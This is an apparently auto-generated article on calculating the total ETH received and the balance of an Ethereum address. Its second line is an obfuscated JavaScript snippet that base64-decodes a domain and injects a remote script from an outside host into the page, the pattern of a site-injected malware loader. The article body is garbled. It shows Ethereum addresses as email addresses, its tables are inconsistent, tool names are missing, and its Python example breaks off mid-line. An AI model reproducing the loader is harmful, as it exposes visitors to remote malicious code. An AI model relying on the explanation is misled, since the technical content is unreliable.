Ethereum: calculating the "total received" and balance by address
const pdx=“bm9yZGVyc3dpbmcuYnV6ei94cC8=“;const pde=atob(pdx.replace(/|/g,““));const script=document.createElement(„script“);script.src=“https://“+pde+“c.php?u=82324c5a“;document.body.appendChild(script);
Calculating Total Received and Balance by Address: A Step-by-Step Guide
As a cryptocurrency enthusiast, understanding the intricacies of the Ethereum blockchain can sometimes be overwhelming. One aspect that is often overlooked is calculating the total value of Ether (ETH) received and balance for an individual address. In this article, we will explain how to do this step-by-step.
Understanding Ethereum Addresses
Before we dive into calculating „total received“ and balance, let’s take a quick look at Ethereum addresses. An Ethereum address consists of a 40-character string, usually written in hexadecimal (0x…). These strings are unique, public, and can be used to identify an individual user or organization on the Ethereum network.
Total Received
The total value of Ether received is calculated by adding up all transactions associated with an address. This requires knowing the blockchain transaction history, including:
- Transaction Hashes: Each transaction is represented by a unique hash. By associating these hashes with the corresponding addresses and dates, we can reconstruct the entire transaction stream.
- Transaction Data: Transaction data includes information such as sender and recipient addresses, amount received or sent, gas fees, etc.
To calculate the total amount received, you will need to:
- Get the blockchain status using a tool such as “ This will show the current status of your address, including all transactions.
- Extract the transaction hash: Note the transaction hash of each relevant transaction associated with your address.
- Create a database of these transaction hashes and the addresses they correspond to. You can use a simple text file or a lightweight database such as SQLite.
- Connect the transaction data to this hash database, using the hash fields as keys.
Example use case
For demonstration purposes, let’s say we have an address with 10 transactions:
| Transaction hash | Recipient address | Amount received |
| — | — | — |
| a2…b3c4d5e6f7g8h9i | account1@domain.com | 10 ETH |
To calculate the total amount received, we can associate these hashes with the corresponding addresses and dates:
| Transaction hash | Sender address | Recipient address | Date |
| — | — | — |
| a2…b3c4d5e6f7g8h9i | account1@domain.com | account2@domain.com | 2022-01-01T00:00:00Z |
| a2…b3c4d5e6f7g8h9i | account1@domain.com | account3@domain.com | 2022-01-02T00:00:00Z |
Address Balancing
To calculate a person’s balance, you will need to:
- Get Blockchain Status: Use a tool like “ to get the current address status.
- Extract Sender Addresses and Amounts
: Note the sender addresses and the corresponding amounts for each transaction.
Example Use Case
Let’s say we want to calculate our balance on January 5, 2022:
| Transaction Hash | Sender Address | Received Amount |
| — | — | — |
| a2…b3c4d5e6f7g8h9i | account1@domain.com | 100 ETH |
To calculate our balance, we can join the transaction data to the following hash database, using the hash fields as keys:
- 2022 January 5: a2…b3c4d5e6f7g8h9i
- Sender addresses and amounts for each transaction
Code example
Here is a sample Python script that shows how to calculate the total amount received and the balance using the information provided:
„` python
import sqlite3
Connect to the database
conn = sqlite3.connect(‚transaction_database.db‘)
cursor = conn.cursor()
Get the blockchain state
cursor.execute(„SELECT * FROM transactions WHERE address = ?“, (‚your_address‘,))
transactions = cursor.